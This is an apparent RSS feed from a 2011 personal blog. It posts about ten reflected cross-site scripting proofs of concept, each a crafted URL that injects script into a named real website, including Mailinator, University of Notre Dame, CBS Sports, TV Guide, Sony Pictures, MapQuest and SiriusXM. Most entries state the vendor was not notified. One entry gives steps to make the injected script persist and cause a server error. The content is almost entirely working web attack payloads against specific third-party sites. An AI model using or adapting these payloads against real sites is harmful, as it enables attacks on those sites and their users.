benburns.org http://benburns.org keystroking out Thu, 29 Dec 2011 18:57:06 +0000 en hourly 1 http://wordpress.org/?v=3.3.2 Mailinator.com http://benburns.org/2011/12/mailinator-com/ http://benburns.org/2011/12/mailinator-com/#comments Thu, 29 Dec 2011 18:57:06 +0000 Ben Burns http://benburns.org/?p=162 Date: Dec-29-2011
Vendor Notified: No
Proof of Concept:
http://www.mailinator.com/maildir.jsp?email=--></script><script>alert('0');</script>

]]> http://benburns.org/2011/12/mailinator-com/feed/ 0 University of Notre Dame http://benburns.org/2011/09/university-of-notre-dame/ http://benburns.org/2011/09/university-of-notre-dame/#comments Sun, 25 Sep 2011 17:45:29 +0000 Ben Burns http://benburns.org/?p=152 Date: Sept-25-2011
Vendor Notified: No
Proof of Concept:
https://apps.nd.edu/webdirectory/directory.cfm?cn=<script>alert('0');</script>

]]> http://benburns.org/2011/09/university-of-notre-dame/feed/ 0 University of Notre Dame WebFile http://benburns.org/2011/09/university-of-notre-dame-webfile/ http://benburns.org/2011/09/university-of-notre-dame-webfile/#comments Sun, 25 Sep 2011 17:41:25 +0000 Ben Burns http://benburns.org/?p=148 Date: Sept-25-2011
Vendor Notified: No
Proof of Concept:
https://webfile.nd.edu/~</script><script>alert('0');</script>/apps/webfile

 

Note:
After hitting the URL, go back to the webfile login (https://webfile.nd.edu) and use any dummy login credentials.  Previous XSS will be present and spark an internal server error.

]]> http://benburns.org/2011/09/university-of-notre-dame-webfile/feed/ 0 CBS Sports http://benburns.org/2011/08/cbs-sports/ http://benburns.org/2011/08/cbs-sports/#comments Sun, 21 Aug 2011 02:33:37 +0000 Ben Burns http://benburns.org/?p=146 Date: Aug-20-2011
Vendor Notified: No
Proof of Concept:
http://www.cbssports.com/info/search#q=//";//\";//--></script>">'><script>alert(0)</script>

]]> http://benburns.org/2011/08/cbs-sports/feed/ 0 AddictingGames http://benburns.org/2011/08/addictinggames/ http://benburns.org/2011/08/addictinggames/#comments Sun, 21 Aug 2011 02:20:02 +0000 Ben Burns http://benburns.org/?p=143 Date: Aug-20-2011
Vendor Notified: No
Proof of Concept:
http://www.addictinggames.com/static/php/game/searchPage.php?pageAction=search&text=%3C/script%3E%3Cscript%3Ealert%280%29;%3C/script%3E

]]> http://benburns.org/2011/08/addictinggames/feed/ 0 TV Guide http://benburns.org/2011/08/tv-guide/ http://benburns.org/2011/08/tv-guide/#comments Thu, 18 Aug 2011 04:58:14 +0000 Ben Burns http://benburns.org/?p=136 Date: Aug-18-2011
Vendor Notified: No
Proof of Concept:
http://www.tvguide.com/search/index.aspx?keyword=%22%3E%3Cscript%3Ealert%28%270%27%29;%3C/script%3E

]]> http://benburns.org/2011/08/tv-guide/feed/ 0 Sony Pictures http://benburns.org/2011/08/sony-pictures/ http://benburns.org/2011/08/sony-pictures/#comments Thu, 18 Aug 2011 04:42:23 +0000 Ben Burns http://benburns.org/?p=133 Date: Aug-18-2011
Vendor Notified: No
Proof of Concept:
http://search.sonypictures.com/search?q=%22;alert%280%29//&proxystylesheet=sp-us&site=sp-us

]]> http://benburns.org/2011/08/sony-pictures/feed/ 0 MapQuest http://benburns.org/2011/07/mapquest/ http://benburns.org/2011/07/mapquest/#comments Wed, 27 Jul 2011 03:49:03 +0000 Ben Burns http://benburns.org/?p=99 Date: Jul-26-2011
Vendor Notified: Yes
Proof of Concept:
http://web.sa.mapquest.com/wendys/advantage.adp?template=en_search_error&postalCode=\%27;alert(0)//

]]> http://benburns.org/2011/07/mapquest/feed/ 0 SiriusXM Satellite Radio http://benburns.org/2011/07/siriusxm-satellite-radio/ http://benburns.org/2011/07/siriusxm-satellite-radio/#comments Mon, 25 Jul 2011 03:47:53 +0000 Ben Burns http://benburns.org/?p=96 Date: Jul-24-2011
Vendor Notified: No
Proof of Concept:
http://www.siriusxm.com/servlet/Satellite?c=SXM_Channel_C&childpagename=SXM%2FSXM_Channel_C%2FChannelDetail&cid=--%3E%3Cscript%3Ealert(%270%27);%3C/script%3E&pagename=SXM%2FWrapper

]]> http://benburns.org/2011/07/siriusxm-satellite-radio/feed/ 0 HLTV.org http://benburns.org/2011/05/hltv-org/ http://benburns.org/2011/05/hltv-org/#comments Sun, 08 May 2011 03:46:20 +0000 Ben Burns http://benburns.org/?p=93 Date: May-07-2011
Vendor Notified: No
Proof of Concept:
http://www.hltv.org/?pageid=198&search=1&teams=%3C/script%3E%22%3E%27%3E%3Cscript%3Ealert(String.fromCharCode(88,83,83))%3C/script%3E

]]> http://benburns.org/2011/05/hltv-org/feed/ 0